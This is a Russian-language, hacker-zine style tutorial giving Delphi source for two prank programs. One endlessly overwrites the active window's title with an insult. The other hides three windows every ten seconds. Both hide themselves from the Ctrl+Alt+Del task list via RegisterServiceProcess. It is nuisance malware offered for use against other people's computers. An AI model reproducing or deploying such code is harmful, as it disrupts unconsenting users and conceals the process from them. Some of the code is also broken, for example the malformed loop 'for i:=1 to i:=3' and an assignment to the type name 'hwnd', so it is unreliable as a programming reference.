Ну вот, я снова с вами, и у меня есть кое-что для вас.
Прога 1. Меняем заголовки окон.
Как обычно, вбиваем ядро проги (для особо одарённых: Project -> View Source):
program zagolovok;
uses Windows;
begin
end.
Вот так, ну а теперь дополняем его(следите за
комментариями):
program zagolovok;
uses Windows;
var
header:HWND; // объявляем переменную указателя на окно
begin
while true do // запускаем бесконечный цикл
begin
Sleep(30000); // спим 30 секунд
header:=GetForegroundWindow; // получаем заголовок текущего активного окна
SetWindowText(header, 'Привет КОЗЛАМ Алтая!'); // меняем текст заголовка окна
end;
end.
И всё! Теперь спрячемся от "трёх весёлых клавиш":
program zagolovok;
uses Windows;
var
header:HWND; // объявляем переменную указателя на окно
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
while true do // запускаем бесконечный цикл
begin
Sleep(30000); // спим 30 секунд
header:=GetForegroundWindow; // получаем заголовок текущего активного окна
SetWindowText(header, 'Привет КОЗЛАМ Алтая!'); // меняем текст заголовка окна
end;
end.
Прога 2. Прячем окошки
Вбиваем ядро проги и пишем туда:
program okoshki;
uses Windows;
var
h:HWND;
i:integer;
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
hwnd:=GetForegroundWindow;
ShowWIndow(h, sw_hide);
Sleep(10000);
while true do
begin
for i:=1 to i:=3 do
begin
h:=GetNextWindow(h, GW_NEXT);
ShowWindow(h,SW_HIDE);
end;
Sleep(10000);
end;
end.
Эта прога прячет 3 любые окна каждые 10 секунд. Думаю у вас хватит опыта разобраться в этом самим.
PS. Тут много чего написано на Win32 API, так что это можно переписать практически на любом языке.
Если есть какие-либо вопросы - мыльте kiron56@softhome.net
